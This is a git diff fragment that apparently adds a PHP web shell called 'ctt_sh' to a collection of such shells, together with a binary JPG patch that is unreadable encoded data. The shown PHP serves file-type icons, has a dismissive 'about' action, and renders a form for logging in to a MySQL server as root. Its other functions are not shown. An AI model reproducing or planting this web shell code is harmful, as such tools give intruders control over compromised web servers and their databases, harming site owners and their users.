+"dBKFfQABi0AAfoeZPEkSP6OkPyEAOw==" +); +$imgequals = array( +"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), +"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"), +"ext_htaccess"=>array("ext_htaccess","ext_htpasswd") +); + ksort($arrimg); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) + { + if (in_array($img,$v)) {$img = $k;} + } + if (empty($arrimg[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($arrimg[$img]); + } + else + { + echo "<center>"; + $k = array_keys($arrimg); + foreach ($k as $u) + { + echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>"; + } + echo "</center>"; + } + exit; +} +if ($act == "about") +{ + $dta = "Any stupid copyrights and copylefts"; + echo $data; +} + +$microtime = round(getmicrotime()-$starttime,4); +?> + +<html> +<head> +</head> +<body> +<center> <br><br> +<table width=620 cellpadding=0 cellspacing=0 align=center> + <col width=1> + <col width=600> + <col width=1> + <tr> <td></td> + <td align=left class=texte> + <br> <form action='' method='post'> <input type='hidden' name='action' value='connect'> + <table border=0 align=center> + <col> + <col align=left> + <tr> <td colspan=2 align=center style='font:bold 9pt;font-family:verdana;'> + mySQL !<br><br> + </td> + </tr> + <tr> <td class=texte> :</td> + <td><INPUT TYPE='TEXT' NAME='dbhost' SIZE='30' VALUE='localhost' class=form></td> + </tr> + <tr> <td class=texte> :</td> + <td><INPUT TYPE='TEXT' NAME='dbbase' SIZE='30' VALUE='' class=form></td> + </tr> + <tr> <td class=texte>:</td> + <td><INPUT TYPE='TEXT' NAME='dbuser' SIZE='30' VALUE='root' class=form></td> + </tr> + <tr> <td class=texte></td> + <td><INPUT TYPE='Password' NAME='dbpass' SIZE='30' VALUE='' class=form></td> + </tr> + </table> + <br> <center> <br><br> + <input type='submit' value=' ' class=form></center> </form> <br><br> + </td> + <td></td> + </tr> + <tr> <td height=1 colspan=3></td> + </tr> + </table> </center> + </body> + </html> + diff --git a/php/PHPshell/ctt_sh/ctt_sh.jpg b/php/PHPshell/ctt_sh/ctt_sh.jpg new file mode 100644 index 0000000000000000000000000000000000000000..f7192aa27421e6fdc487af89bb2dfd349945135a GIT binary patch literal 136562 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 